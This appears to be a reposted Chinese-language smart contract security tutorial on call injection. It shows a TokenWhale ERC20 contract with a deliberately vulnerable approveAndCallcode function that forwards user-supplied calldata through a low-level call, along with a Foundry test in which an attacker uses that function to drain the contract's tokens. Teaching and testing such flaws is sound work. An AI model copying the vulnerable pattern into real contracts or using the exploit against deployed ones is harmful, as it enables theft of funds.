名称: 不安全调用漏洞
描述:在TokenWhale合约的approveAndCallcode函数中。该漏洞允许执行任意调用,带有任意数据,导致潜在的安全风险和意外后果。该函数使用低级调用(_spender.call(_extraData))从_spender地址执行代码,而没有对提供的_extraData进行任何验证或检查。这可能导致意外行为、可重入攻击或未经授权的操作。
这个练习是关于对合约的低级调用,其中输入和返回值都没有被检查 如果调用数据是可控的,就很容易引发任意函数执行。
缓解措施:应尽可能避免使用低级的”call”。
参考:https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
TokenWhale合约:
contract TokenWhale {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000; // 1百万
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
/* 批准然后调用合约代码*/
function approveAndCallcode(
address _spender,
uint256 _value,
bytes memory _extraData
) public {
allowance[msg.sender][_spender] = _value;
bool success;
// 易受攻击的调用执行不安全的用户提供的代码
(success, ) = _spender.call(_extraData);
console.log("success:", success);
}
}
如何测试:
forge test –contracts src/test/UnsafeCall.sol-vvvv
// 测试UnsafeCall漏洞的函数
function testUnsafeCall() public {
// 设置环境
address alice = vm.addr(1);
TokenWhaleContract = new TokenWhale();
TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));
console.log(
"TokenWhale余额:",
TokenWhaleContract.balanceOf(address(TokenWhaleContract))
);
// Alice尝试对TokenWhaleContract进行不安全的调用以转移资产
console.log(
"Alice尝试对TokenWhaleContract进行不安全的调用以转移资产"
);
// 使用vm.prank()函数改变msg.sender
vm.prank(alice);
// Alice调用approveAndCallcode函数,使用编码数据表示对transfer函数的调用
TokenWhaleContract.approveAndCallcode(
address(TokenWhaleContract),
0x1337, // 不影响漏洞利用
abi.encodeWithSignature(
"transfer(address,uint256)",
address(alice),
1000
)
);
// 检查漏洞利用是否成功
assertEq(TokenWhaleContract.balanceOf(address(alice)), 1000);
console.log("漏洞利用完成");
// 记录最终余额
console.log(
"TokenWhale余额:",
TokenWhaleContract.balanceOf(address(TokenWhaleContract))
);
console.log(
"Alice余额:",
TokenWhaleContract.balanceOf(address(alice))
);
}
// 接收以太的回退函数
receive() external payable {}
红框:成功利用,TokenWhale被清空。
原文始发于微信公众号(3072):智能合约漏洞入门(7)- 调用注入